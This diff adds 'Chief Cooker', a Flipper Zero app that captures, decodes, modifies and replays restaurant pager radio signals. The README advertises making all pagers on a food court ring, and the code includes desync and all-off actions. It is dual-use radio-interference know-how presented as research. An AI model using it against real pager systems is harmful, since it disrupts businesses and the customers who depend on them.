ObjCBlockIndentWidth: 4
|
||||
ObjCBreakBeforeNestedBlockParam: true
|
||||
ObjCSpaceAfterProperty: true
|
||||
ObjCSpaceBeforeProtocolList: true
|
||||
PackConstructorInitializers: BinPack
|
||||
PenaltyBreakAssignment: 10
|
||||
PenaltyBreakBeforeFirstCallParameter: 30
|
||||
PenaltyBreakComment: 10
|
||||
PenaltyBreakFirstLessLess: 0
|
||||
PenaltyBreakOpenParenthesis: 0
|
||||
PenaltyBreakScopeResolution: 500
|
||||
PenaltyBreakString: 10
|
||||
PenaltyBreakTemplateDeclaration: 10
|
||||
PenaltyExcessCharacter: 100
|
||||
PenaltyIndentedWhitespace: 0
|
||||
PenaltyReturnTypeOnItsOwnLine: 60
|
||||
PointerAlignment: Left
|
||||
PPIndentWidth: -1
|
||||
QualifierAlignment: Leave
|
||||
ReferenceAlignment: Pointer
|
||||
ReflowComments: false
|
||||
RemoveBracesLLVM: false
|
||||
RemoveParentheses: Leave
|
||||
RemoveSemicolon: true
|
||||
RequiresClausePosition: OwnLine
|
||||
RequiresExpressionIndentation: OuterScope
|
||||
SeparateDefinitionBlocks: Leave
|
||||
ShortNamespaceLines: 1
|
||||
SkipMacroDefinitionBody: false
|
||||
SortIncludes: Never
|
||||
SortJavaStaticImport: Before
|
||||
SortUsingDeclarations: Never
|
||||
SpaceAfterCStyleCast: false
|
||||
SpaceAfterLogicalNot: false
|
||||
SpaceAfterTemplateKeyword: true
|
||||
SpaceAroundPointerQualifiers: Default
|
||||
SpaceBeforeAssignmentOperators: true
|
||||
SpaceBeforeCaseColon: false
|
||||
SpaceBeforeCpp11BracedList: false
|
||||
SpaceBeforeCtorInitializerColon: true
|
||||
SpaceBeforeInheritanceColon: true
|
||||
SpaceBeforeJsonColon: false
|
||||
SpaceBeforeParens: Never
|
||||
SpaceBeforeParensOptions:
|
||||
AfterControlStatements: false
|
||||
AfterForeachMacros: false
|
||||
AfterFunctionDefinitionName: false
|
||||
AfterFunctionDeclarationName: false
|
||||
AfterIfMacros: false
|
||||
AfterOverloadedOperator: false
|
||||
AfterPlacementOperator: true
|
||||
AfterRequiresInClause: false
|
||||
AfterRequiresInExpression: false
|
||||
BeforeNonEmptyParentheses: false
|
||||
SpaceBeforeRangeBasedForLoopColon: true
|
||||
SpaceBeforeSquareBrackets: false
|
||||
SpaceInEmptyBlock: false
|
||||
SpacesBeforeTrailingComments: 1
|
||||
SpacesInAngles: Never
|
||||
SpacesInContainerLiterals: false
|
||||
SpacesInLineCommentPrefix:
|
||||
Minimum: 1
|
||||
Maximum: -1
|
||||
SpacesInParens: Never
|
||||
SpacesInParensOptions:
|
||||
InCStyleCasts: false
|
||||
InConditionalStatements: false
|
||||
InEmptyParentheses: false
|
||||
Other: false
|
||||
SpacesInSquareBrackets: false
|
||||
Standard: c++20
|
||||
StatementAttributeLikeMacros:
|
||||
- Q_EMIT
|
||||
StatementMacros:
|
||||
- Q_UNUSED
|
||||
- QT_REQUIRE_VERSION
|
||||
TabWidth: 4
|
||||
UseTab: Never
|
||||
VerilogBreakBetweenInstancePorts: true
|
||||
WhitespaceSensitiveMacros:
|
||||
- STRINGIZE
|
||||
- PP_STRINGIZE
|
||||
- BOOST_PP_STRINGIZE
|
||||
- NS_SWIFT_NAME
|
||||
- CF_SWIFT_NAME
|
||||
...
|
||||
|
||||
21
applications/system/FZ-ChiefCooker/LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Denr01
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
72
applications/system/FZ-ChiefCooker/README.md
Normal file
@@ -0,0 +1,72 @@
|
||||
# Chief Cooker
|
||||
Your ultimate Flipper Zero restaurant pager tool. Be a _real chief_ of all the restaurants on the food court!
|
||||
|
||||
This app supports receiving, decoding, editing and sending restaurant pager signals.
|
||||
|
||||
**Developed & compatible with [Momentum firmware](https://github.com/Next-Flip/Momentum-Firmware).** Other firmwares are most likely not supported (but I've not tried).
|
||||
|
||||
## Video demo
|
||||
[](https://youtube.com/shorts/iuQSyesS9-o)
|
||||
|
||||
More demos:
|
||||
- [Video 2](https://youtube.com/shorts/KGDAGblbtFo)
|
||||
- [Video 3](https://youtube.com/shorts/QqbfHF-yDiE)
|
||||
|
||||
## Disclaimer
|
||||
I've built this app for research and learning purposes. But please, don't use it in a way that could hurt anyone or anything.
|
||||
|
||||
Use it responsibly, okay?
|
||||
|
||||
## [Usage instructions](instructions/instructions.md)
|
||||
Please, read the [instructions](instructions/instructions.md) before using the app. It will definitely make your life easier!
|
||||
|
||||
## Features
|
||||
- **Receive** signals from pager stations
|
||||
- Automatically **decode** them and dsiplay station number, pager number and action (Ring/Mute/etc)
|
||||
- Manually **change encoding in real-time** to look for the best one if automatically detected encoding is not working
|
||||
- **Resend** captured message to specific pager to all at once to **make them all ring**!
|
||||
- **Modify** captured signal, e.g. change pager number or action
|
||||
- **Save** captured signals (and give each station a name)
|
||||
- Create separate **categories** for each food court you are chief on
|
||||
- Display signals from saved stations **by ther names** (instead of HEX code) or hide them from list
|
||||
- **Send** signals from saved stations at any time, no need to capture it again
|
||||
- Of course, suports working with **external CC1101 module** to cover the area of all the pagers on your food court!
|
||||
|
||||
## Supported protocols
|
||||
- Princeton
|
||||
- SMC5326
|
||||
|
||||
## Supported pager encodings
|
||||
- Retekess TD157
|
||||
- Retekess TD165/T119
|
||||
- Retekess TD174
|
||||
- L8R / Retekess T111 (not tested)
|
||||
- L8S / iBells ZJ-68 (check [source code](app/pager/decoder/L8SDecoder.hpp#L8) for description)
|
||||
|
||||
## Contributing
|
||||
If you want to add any new pager encoding, please feel free to create PR with it!
|
||||
|
||||
Also you can open issue and share with me any captured data (and at least pager number) if you have any and maybe I'll try create a decoder for it
|
||||
|
||||
## Building
|
||||
If you build the source code just with regular `ufbt` command, the app will probably crash due to out of memory error because your device will have less that 10 kb of free RAM on the "Scan" screen.
|
||||
|
||||
This is because after you compile the app with ufbt, the result executable will contain hundreds of sections with very long names like `.fast.rel.text._ZNSt17_Function_handlerIFvmEZN18PagerActionsScreenC4EP9AppConfigSt8functionIFP15StoredPagerDatavEEP12PagerDecoderP13PagerProtocolP12SubGhzModuleEUlmE_E9_M_invokeERKSt9_Any_dataOm`.
|
||||
**These names stay in RAM during the execution and consume about 20kb of heap!**
|
||||
|
||||
The reason for it is [name mangling](https://en.wikipedia.org/wiki/Name_mangling). Perhaps, the gcc parameter `-fno-mangle` could disable it, but unfortunately, it is not possible to pass any arguments to gcc when you compile app with `ufbt`.
|
||||
Luckily the sections inside the compiled file can be renamed using gcc's `objcopy` tool with `--rename-section` parameter. To automate it, I built a small python script which renames them all and gives them short names like `_s1`, `_s2`, `_s228` etc...
|
||||
|
||||
**Therfore you must use [scripts/build-and-clear.py](scripts/build-and-clear.py) script instead!** It will build, rename sections and upload the fap to flipper.
|
||||
|
||||
After building and cleaning your `.fap` with it, you'll get extra +20kb of free RAM which will make compiled app work stably.
|
||||
|
||||
The `.fap` files under the release tab are already cleared with this script, so if you just want to use this app without modifications, just forget about it and download the latest one from releases.
|
||||
|
||||
## Support & Donate
|
||||
|
||||
> [PayPal](https://paypal.me/denr01)
|
||||
|
||||
## Special Thanks
|
||||
- [meoker/pagger](https://github.com/meoker/pagger) for Retekess pager encodings
|
||||
- This [awesome repository](https://dev.xcjs.com/r0073dl053r/flipper-playground/-/tree/main/Sub-GHz/Restaurant_Pagers?ref_type=heads) for Retekess T111 and iBells ZJ-68 files
|
||||
33
applications/system/FZ-ChiefCooker/app/App.hpp
Normal file
@@ -0,0 +1,33 @@
|
||||
#pragma once
|
||||
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
#include "lib/hardware/notification/Notification.hpp"
|
||||
#include "lib/hardware/subghz/FrequencyManager.hpp"
|
||||
|
||||
#include "AppConfig.hpp"
|
||||
#include "app/screen/MainMenuScreen.hpp"
|
||||
|
||||
using namespace std;
|
||||
|
||||
class App {
|
||||
public:
|
||||
void Run() {
|
||||
UiManager* ui = UiManager::GetInstance();
|
||||
ui->InitGui();
|
||||
|
||||
FrequencyManager* frequencyManager = FrequencyManager::GetInstance();
|
||||
AppConfig* config = new AppConfig();
|
||||
config->Load();
|
||||
|
||||
MainMenuScreen* mainMenuScreen = new MainMenuScreen(config);
|
||||
ui->PushView(mainMenuScreen->GetView());
|
||||
ui->RunEventLoop();
|
||||
|
||||
delete frequencyManager;
|
||||
delete mainMenuScreen;
|
||||
delete config;
|
||||
delete ui;
|
||||
|
||||
Notification::Dispose();
|
||||
}
|
||||
};
|
||||
78
applications/system/FZ-ChiefCooker/app/AppConfig.hpp
Normal file
@@ -0,0 +1,78 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
|
||||
#include "app/AppFileSystem.hpp"
|
||||
#include "lib/file/FileManager.hpp"
|
||||
#include "app/pager/SavedStationStrategy.hpp"
|
||||
|
||||
#define KEY_CONFIG_FREQUENCY "Frequency"
|
||||
#define KEY_CONFIG_MAX_PAGERS "MaxPagerForBatchOrDetection"
|
||||
#define KEY_CONFIG_REPEATS "SignalRepeats"
|
||||
#define KEY_CONFIG_SAVED_STRATEGY "SavedStationStrategy"
|
||||
#define KEY_CONFIG_AUTOSAVE "AutosaveFoundSignals"
|
||||
#define KEY_CONFIG_USER_CATGEGORY "UserCategory"
|
||||
|
||||
class AppConfig {
|
||||
public:
|
||||
uint32_t Frequency = 433920000;
|
||||
uint32_t MaxPagerForBatchOrDetection = 30;
|
||||
uint32_t SignalRepeats = 10;
|
||||
SavedStationStrategy SavedStrategy = SHOW_NAME;
|
||||
bool AutosaveFoundSignals = true;
|
||||
String* CurrentUserCategory = NULL;
|
||||
|
||||
private:
|
||||
void readFromFile(FlipperFile* file) {
|
||||
String* userCat = new String();
|
||||
uint32_t savedStrategyValue = SavedStrategy;
|
||||
if(CurrentUserCategory != NULL) {
|
||||
delete CurrentUserCategory;
|
||||
}
|
||||
|
||||
file->ReadUInt32(KEY_CONFIG_FREQUENCY, &Frequency);
|
||||
file->ReadUInt32(KEY_CONFIG_MAX_PAGERS, &MaxPagerForBatchOrDetection);
|
||||
file->ReadUInt32(KEY_CONFIG_REPEATS, &SignalRepeats);
|
||||
file->ReadUInt32(KEY_CONFIG_SAVED_STRATEGY, &savedStrategyValue);
|
||||
file->ReadBool(KEY_CONFIG_AUTOSAVE, &AutosaveFoundSignals);
|
||||
file->ReadString(KEY_CONFIG_USER_CATGEGORY, userCat);
|
||||
|
||||
SavedStrategy = static_cast<enum SavedStationStrategy>(savedStrategyValue);
|
||||
if(!userCat->isEmpty()) {
|
||||
CurrentUserCategory = userCat;
|
||||
} else {
|
||||
CurrentUserCategory = NULL;
|
||||
delete userCat;
|
||||
}
|
||||
}
|
||||
|
||||
void writeToFile(FlipperFile* file) {
|
||||
file->WriteUInt32(KEY_CONFIG_FREQUENCY, Frequency);
|
||||
file->WriteUInt32(KEY_CONFIG_MAX_PAGERS, MaxPagerForBatchOrDetection);
|
||||
file->WriteUInt32(KEY_CONFIG_REPEATS, SignalRepeats);
|
||||
file->WriteUInt32(KEY_CONFIG_SAVED_STRATEGY, SavedStrategy);
|
||||
file->WriteBool(KEY_CONFIG_AUTOSAVE, AutosaveFoundSignals);
|
||||
file->WriteString(KEY_CONFIG_USER_CATGEGORY, CurrentUserCategory != NULL ? CurrentUserCategory->cstr() : "");
|
||||
}
|
||||
|
||||
public:
|
||||
void Load() {
|
||||
FlipperFile* configFile = FileManager().OpenRead(CONFIG_FILE_PATH);
|
||||
if(configFile != NULL) {
|
||||
readFromFile(configFile);
|
||||
delete configFile;
|
||||
}
|
||||
}
|
||||
|
||||
void Save() {
|
||||
FlipperFile* configFile = FileManager().OpenWrite(CONFIG_FILE_PATH);
|
||||
if(configFile != NULL) {
|
||||
writeToFile(configFile);
|
||||
delete configFile;
|
||||
}
|
||||
}
|
||||
|
||||
const char* GetCurrentUserCategoryCstr() {
|
||||
return CurrentUserCategory == NULL ? NULL : CurrentUserCategory->cstr();
|
||||
}
|
||||
};
|
||||
188
applications/system/FZ-ChiefCooker/app/AppFileSystem.hpp
Normal file
@@ -0,0 +1,188 @@
|
||||
#pragma once
|
||||
|
||||
#include <storage/storage.h>
|
||||
#include <forward_list>
|
||||
|
||||
#include "app/pager/PagerSerializer.hpp"
|
||||
#include "lib/file/FileManager.hpp"
|
||||
#include "pager/data/NamedPagerData.hpp"
|
||||
|
||||
// .fff stands for (f)lipper (f)ile (f)ormat
|
||||
#define CONFIG_FILE_PATH APP_DATA_PATH("config.fff")
|
||||
|
||||
#define STATIONS_PATH APP_DATA_PATH("stations")
|
||||
#define STATIONS_PATH_OF(path) STATIONS_PATH "/" path
|
||||
|
||||
#define SAVED_STATIONS_PATH STATIONS_PATH_OF("saved")
|
||||
#define AUTOSAVED_STATIONS_PATH STATIONS_PATH_OF("autosaved")
|
||||
|
||||
#define MAX_FILENAME_LENGTH 16
|
||||
|
||||
using namespace std;
|
||||
|
||||
enum CategoryType {
|
||||
User,
|
||||
Autosaved,
|
||||
|
||||
NotSelected,
|
||||
};
|
||||
|
||||
class AppFileSysytem {
|
||||
private:
|
||||
String* getCategoryPath(CategoryType categoryType, const char* category) {
|
||||
switch(categoryType) {
|
||||
case User:
|
||||
if(category != NULL) {
|
||||
return new String("%s/%s", SAVED_STATIONS_PATH, category);
|
||||
} else {
|
||||
return new String(SAVED_STATIONS_PATH);
|
||||
}
|
||||
|
||||
case Autosaved:
|
||||
return new String("%s/%s", AUTOSAVED_STATIONS_PATH, category);
|
||||
|
||||
default:
|
||||
case NotSelected:
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
String* getFilePath(CategoryType categoryType, const char* category, StoredPagerData* pager) {
|
||||
String* categoryPath = getCategoryPath(categoryType, category);
|
||||
String* pagerFilename = PagerSerializer().GetFilename(pager);
|
||||
String* filePath = new String("%s/%s", categoryPath->cstr(), pagerFilename->cstr());
|
||||
delete categoryPath;
|
||||
delete pagerFilename;
|
||||
return filePath;
|
||||
}
|
||||
|
||||
public:
|
||||
int GetCategories(forward_list<char*>* categoryList, CategoryType categoryType) {
|
||||
const char* dirPath;
|
||||
switch(categoryType) {
|
||||
case User:
|
||||
dirPath = SAVED_STATIONS_PATH;
|
||||
break;
|
||||
|
||||
case Autosaved:
|
||||
dirPath = AUTOSAVED_STATIONS_PATH;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
|
||||
FileManager fileManager = FileManager();
|
||||
Directory* dir = fileManager.OpenDirectory(dirPath);
|
||||
uint16_t categoriesLoaded = 0;
|
||||
|
||||
if(dir != NULL) {
|
||||
char fileName[MAX_FILENAME_LENGTH];
|
||||
while(dir->GetNextDir(fileName, MAX_FILENAME_LENGTH)) {
|
||||
char* category = new char[strlen(fileName)];
|
||||
strcpy(category, fileName);
|
||||
categoryList->push_front(category);
|
||||
categoriesLoaded++;
|
||||
}
|
||||
}
|
||||
|
||||
delete dir;
|
||||
return categoriesLoaded;
|
||||
}
|
||||
|
||||
size_t GetStationsFromDirectory(
|
||||
forward_list<NamedPagerData>* stationList,
|
||||
ProtocolAndDecoderProvider* pdProvider,
|
||||
CategoryType categoryType,
|
||||
const char* category,
|
||||
bool loadNames
|
||||
) {
|
||||
FileManager fileManager = FileManager();
|
||||
String* stationDirPath = getCategoryPath(categoryType, category);
|
||||
Directory* dir = fileManager.OpenDirectory(stationDirPath->cstr());
|
||||
PagerSerializer serializer = PagerSerializer();
|
||||
size_t stationsLoaded = 0;
|
||||
|
||||
if(dir != NULL) {
|
||||
char fileName[MAX_FILENAME_LENGTH];
|
||||
while(dir->GetNextFile(fileName, MAX_FILENAME_LENGTH)) {
|
||||
String* stationName = new String();
|
||||
StoredPagerData pager =
|
||||
serializer.LoadPagerData(&fileManager, stationName, stationDirPath->cstr(), fileName, pdProvider);
|
||||
|
||||
if(!loadNames) {
|
||||
delete stationName;
|
||||
stationName = NULL;
|
||||
}
|
||||
|
||||
NamedPagerData returnData = NamedPagerData();
|
||||
returnData.storedData = pager;
|
||||
returnData.name = stationName;
|
||||
stationList->push_front(returnData);
|
||||
stationsLoaded++;
|
||||
}
|
||||
}
|
||||
|
||||
delete dir;
|
||||
delete stationDirPath;
|
||||
|
||||
return stationsLoaded;
|
||||
}
|
||||
|
||||
String* GetOnlyStationName(CategoryType categoryType, const char* category, StoredPagerData* pager) {
|
||||
FileManager fileManager = FileManager();
|
||||
String* categoryPath = getCategoryPath(categoryType, category);
|
||||
String* name = PagerSerializer().LoadOnlyStationName(&fileManager, categoryPath->cstr(), pager);
|
||||
delete categoryPath;
|
||||
return name;
|
||||
}
|
||||
|
||||
void AutoSave(StoredPagerData* storedData, PagerDecoder* decoder, PagerProtocol* protocol, uint32_t frequency) {
|
||||
DateTime datetime;
|
||||
furi_hal_rtc_get_datetime(&datetime);
|
||||
String* todayDate = new String("%d-%02d-%02d", datetime.year, datetime.month, datetime.day);
|
||||
String* todaysDir = getCategoryPath(Autosaved, todayDate->cstr());
|
||||
|
||||
FileManager fileManager = FileManager();
|
||||
fileManager.CreateDirIfNotExists(STATIONS_PATH);
|
||||
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
|
||||
fileManager.CreateDirIfNotExists(todaysDir->cstr());
|
||||
|
||||
PagerSerializer().SavePagerData(&fileManager, todaysDir->cstr(), "", storedData, decoder, protocol, frequency);
|
||||
|
||||
delete todaysDir;
|
||||
delete todayDate;
|
||||
}
|
||||
|
||||
void SaveToUserCategory(
|
||||
const char* userCategory,
|
||||
const char* stationName,
|
||||
StoredPagerData* storedData,
|
||||
PagerDecoder* decoder,
|
||||
PagerProtocol* protocol,
|
||||
uint32_t frequency
|
||||
) {
|
||||
String* catDir = getCategoryPath(User, userCategory);
|
||||
|
||||
FileManager fileManager = FileManager();
|
||||
fileManager.CreateDirIfNotExists(STATIONS_PATH);
|
||||
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
|
||||
fileManager.CreateDirIfNotExists(catDir->cstr());
|
||||
|
||||
PagerSerializer().SavePagerData(&fileManager, catDir->cstr(), stationName, storedData, decoder, protocol, frequency);
|
||||
|
||||
delete catDir;
|
||||
}
|
||||
|
||||
void DeletePager(const char* userCategory, StoredPagerData* storedData) {
|
||||
String* filePath = getFilePath(User, userCategory, storedData);
|
||||
FileManager().DeleteFile(filePath->cstr());
|
||||
delete filePath;
|
||||
}
|
||||
|
||||
void DeleteCategory(const char* userCategory) {
|
||||
String* catPath = getCategoryPath(User, userCategory);
|
||||
FileManager().DeleteFile(catPath->cstr());
|
||||
delete catPath;
|
||||
}
|
||||
};
|
||||
16
applications/system/FZ-ChiefCooker/app/AppNotifications.hpp
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include "lib/hardware/notification/Notification.hpp"
|
||||
|
||||
const NotificationSequence NOTIFICATION_PAGER_RECEIVE = {
|
||||
&message_vibro_on,
|
||||
&message_note_e6,
|
||||
|
||||
&message_blue_255,
|
||||
&message_delay_50,
|
||||
|
||||
&message_sound_off,
|
||||
&message_vibro_off,
|
||||
|
||||
NULL,
|
||||
};
|
||||
42
applications/system/FZ-ChiefCooker/app/pager/PagerAction.hpp
Normal file
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
|
||||
enum PagerAction {
|
||||
UNKNOWN,
|
||||
RING,
|
||||
MUTE,
|
||||
DESYNC,
|
||||
TURN_OFF_ALL,
|
||||
|
||||
PagerActionCount,
|
||||
};
|
||||
|
||||
class PagerActions {
|
||||
public:
|
||||
static const char* GetDescription(PagerAction action) {
|
||||
switch(action) {
|
||||
case UNKNOWN:
|
||||
return "?";
|
||||
case RING:
|
||||
return "RING";
|
||||
case MUTE:
|
||||
return "MUTE";
|
||||
case DESYNC:
|
||||
return "DESYNC_ALL";
|
||||
case TURN_OFF_ALL:
|
||||
return "ALL_OFF";
|
||||
default:
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
static bool IsPagerActionSpecial(PagerAction action) {
|
||||
switch(action) {
|
||||
case DESYNC:
|
||||
case TURN_OFF_ALL:
|
||||
return true;
|
||||
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
};
|
||||
319
applications/system/FZ-ChiefCooker/app/pager/PagerReceiver.hpp
Normal file
@@ -0,0 +1,319 @@
|
||||
#pragma once
|
||||
|
||||
#include "ProtocolAndDecoderProvider.hpp"
|
||||
#include <cstring>
|
||||
#include <forward_list>
|
||||
|
||||
#include "lib/hardware/subghz/FrequencyManager.hpp"
|
||||
#include "lib/hardware/subghz/data/SubGhzReceivedData.hpp"
|
||||
|
||||
#include "app/AppConfig.hpp"
|
||||
|
||||
#include "data/ReceivedPagerData.hpp"
|
||||
#include "data/KnownStationData.hpp"
|
||||
|
||||
#include "protocol/PrincetonProtocol.hpp"
|
||||
#include "protocol/Smc5326Protocol.hpp"
|
||||
|
||||
#include "decoder/Td157Decoder.hpp"
|
||||
#include "decoder/Td165Decoder.hpp"
|
||||
#include "decoder/Td174Decoder.hpp"
|
||||
#include "decoder/L8RDecoder.hpp"
|
||||
#include "decoder/L8SDecoder.hpp"
|
||||
|
||||
#undef LOG_TAG
|
||||
#define LOG_TAG "PGR_RCV"
|
||||
|
||||
#define MAX_REPEATS 99
|
||||
#define PAGERS_ARRAY_SIZE_MULTIPLIER 8
|
||||
|
||||
using namespace std;
|
||||
|
||||
class PagerReceiver : public ProtocolAndDecoderProvider {
|
||||
public:
|
||||
static const uint8_t protocolsCount = 2;
|
||||
PagerProtocol* protocols[protocolsCount]{
|
||||
new PrincetonProtocol(),
|
||||
new Smc5326Protocol(),
|
||||
};
|
||||
|
||||
static const uint8_t decodersCount = 5;
|
||||
PagerDecoder* decoders[decodersCount]{
|
||||
new Td157Decoder(),
|
||||
new Td165Decoder(),
|
||||
new Td174Decoder(),
|
||||
new L8RDecoder(),
|
||||
new L8SDecoder(),
|
||||
};
|
||||
|
||||
private:
|
||||
AppConfig* config;
|
||||
uint16_t nextPagerIndex = 0;
|
||||
uint16_t pagersArraySize = PAGERS_ARRAY_SIZE_MULTIPLIER;
|
||||
StoredPagerData* pagers = new StoredPagerData[pagersArraySize];
|
||||
size_t knownStationsSize = 0;
|
||||
KnownStationData* knownStations;
|
||||
uint32_t lastFrequency = 0;
|
||||
uint8_t lastFrequencyIndex = 0;
|
||||
bool knownStationsLoaded = false;
|
||||
const char* userCategory;
|
||||
|
||||
void loadKnownStations() {
|
||||
AppFileSysytem appFilesystem;
|
||||
forward_list<NamedPagerData> stations;
|
||||
bool withNames = config->SavedStrategy == SHOW_NAME;
|
||||
|
||||
size_t count = appFilesystem.GetStationsFromDirectory(&stations, this, User, userCategory, withNames);
|
||||
|
||||
knownStations = new KnownStationData[count];
|
||||
for(size_t i = 0; i < count; i++) {
|
||||
knownStations[i] = buildKnownStationWithName(stations.front());
|
||||
stations.pop_front();
|
||||
}
|
||||
|
||||
knownStationsSize = count;
|
||||
knownStationsLoaded = true;
|
||||
}
|
||||
|
||||
void unloadKnownStations() {
|
||||
for(size_t i = 0; i < knownStationsSize; i++) {
|
||||
if(knownStations[i].name != NULL) {
|
||||
delete knownStations[i].name;
|
||||
}
|
||||
}
|
||||
|
||||
delete[] knownStations;
|
||||
|
||||
knownStationsLoaded = false;
|
||||
knownStationsSize = 0;
|
||||
}
|
||||
|
||||
KnownStationData buildKnownStationWithName(NamedPagerData pager) {
|
||||
KnownStationData data = KnownStationData();
|
||||
data.frequency = pager.storedData.frequency;
|
||||
data.protocol = pager.storedData.protocol;
|
||||
data.decoder = pager.storedData.decoder;
|
||||
data.station = decoders[pager.storedData.decoder]->GetStation(pager.storedData.data);
|
||||
data.name = pager.name;
|
||||
return data;
|
||||
}
|
||||
|
||||
KnownStationData buildKnownStationWithoutName(StoredPagerData* pager) {
|
||||
KnownStationData data = KnownStationData();
|
||||
data.frequency = pager->frequency;
|
||||
data.protocol = pager->protocol;
|
||||
data.decoder = pager->decoder;
|
||||
data.station = decoders[pager->decoder]->GetStation(pager->data);
|
||||
data.name = NULL;
|
||||
return data;
|
||||
}
|
||||
|
||||
PagerDecoder* getDecoder(StoredPagerData* pagerData) {
|
||||
for(size_t i = 0; i < decodersCount; i++) {
|
||||
pagerData->decoder = i;
|
||||
if(IsKnown(pagerData)) {
|
||||
return decoders[i];
|
||||
}
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < decodersCount; i++) {
|
||||
if(decoders[i]->GetPager(pagerData->data) <= config->MaxPagerForBatchOrDetection) {
|
||||
return decoders[i];
|
||||
}
|
||||
}
|
||||
|
||||
return decoders[0];
|
||||
}
|
||||
|
||||
void addPager(StoredPagerData data) {
|
||||
if(nextPagerIndex == pagersArraySize) {
|
||||
pagersArraySize += PAGERS_ARRAY_SIZE_MULTIPLIER;
|
||||
StoredPagerData* newPagers = new StoredPagerData[pagersArraySize];
|
||||
for(int i = 0; i < nextPagerIndex; i++) {
|
||||
newPagers[i] = pagers[i];
|
||||
}
|
||||
delete[] pagers;
|
||||
pagers = newPagers;
|
||||
}
|
||||
pagers[nextPagerIndex++] = data;
|
||||
}
|
||||
|
||||
public:
|
||||
PagerReceiver(AppConfig* config) {
|
||||
this->config = config;
|
||||
|
||||
for(size_t i = 0; i < protocolsCount; i++) {
|
||||
protocols[i]->id = i;
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < decodersCount; i++) {
|
||||
decoders[i]->id = i;
|
||||
}
|
||||
|
||||
SetUserCategory(config->CurrentUserCategory);
|
||||
}
|
||||
|
||||
void SetUserCategory(String* category) {
|
||||
SetUserCategory(category != NULL ? category->cstr() : NULL);
|
||||
}
|
||||
|
||||
const char* GetCurrentUserCategory() {
|
||||
return userCategory;
|
||||
}
|
||||
|
||||
void SetUserCategory(const char* category) {
|
||||
userCategory = category;
|
||||
}
|
||||
|
||||
PagerProtocol* GetProtocolByName(const char* systemProtocolName) {
|
||||
for(size_t i = 0; i < protocolsCount; i++) {
|
||||
if(strcmp(systemProtocolName, protocols[i]->GetSystemName()) == 0) {
|
||||
return protocols[i];
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PagerDecoder* GetDecoderByName(const char* shortName) {
|
||||
for(size_t i = 0; i < decodersCount; i++) {
|
||||
if(strcmp(shortName, decoders[i]->GetShortName()) == 0) {
|
||||
return decoders[i];
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void ReloadKnownStations() {
|
||||
unloadKnownStations();
|
||||
loadKnownStations();
|
||||
}
|
||||
|
||||
void LoadStationsFromDirectory(
|
||||
CategoryType categoryType,
|
||||
const char* category,
|
||||
function<void(ReceivedPagerData*)> pagerHandler
|
||||
) {
|
||||
AppFileSysytem appFilesystem;
|
||||
forward_list<NamedPagerData> stations;
|
||||
bool withNames = !knownStationsLoaded && config->SavedStrategy == SHOW_NAME;
|
||||
|
||||
int count = appFilesystem.GetStationsFromDirectory(&stations, this, categoryType, category, withNames);
|
||||
|
||||
delete[] pagers;
|
||||
pagers = new StoredPagerData[count];
|
||||
|
||||
if(!knownStationsLoaded) {
|
||||
knownStations = new KnownStationData[count];
|
||||
}
|
||||
|
||||
for(int i = 0; i < count; i++) {
|
||||
NamedPagerData pagerData = stations.front();
|
||||
pagers[i] = pagerData.storedData;
|
||||
if(!knownStationsLoaded) {
|
||||
knownStations[i] = buildKnownStationWithName(pagerData);
|
||||
}
|
||||
stations.pop_front();
|
||||
|
||||
pagerHandler(new ReceivedPagerData(PagerGetter(i), i, true));
|
||||
}
|
||||
|
||||
if(!knownStationsLoaded) {
|
||||
knownStationsSize = count;
|
||||
}
|
||||
|
||||
nextPagerIndex = count;
|
||||
pagersArraySize = count;
|
||||
knownStationsLoaded = true;
|
||||
}
|
||||
|
||||
PagerDataGetter PagerGetter(size_t index) {
|
||||
return [this, index]() { return &pagers[index]; };
|
||||
}
|
||||
|
||||
String* GetName(StoredPagerData* pager) {
|
||||
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
|
||||
for(size_t i = 0; i < knownStationsSize; i++) {
|
||||
if(knownStations[i].toInt() == stationId) {
|
||||
return knownStations[i].name;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool IsKnown(StoredPagerData* pager) {
|
||||
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
|
||||
for(size_t i = 0; i < knownStationsSize; i++) {
|
||||
if(knownStations[i].toInt() == stationId) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
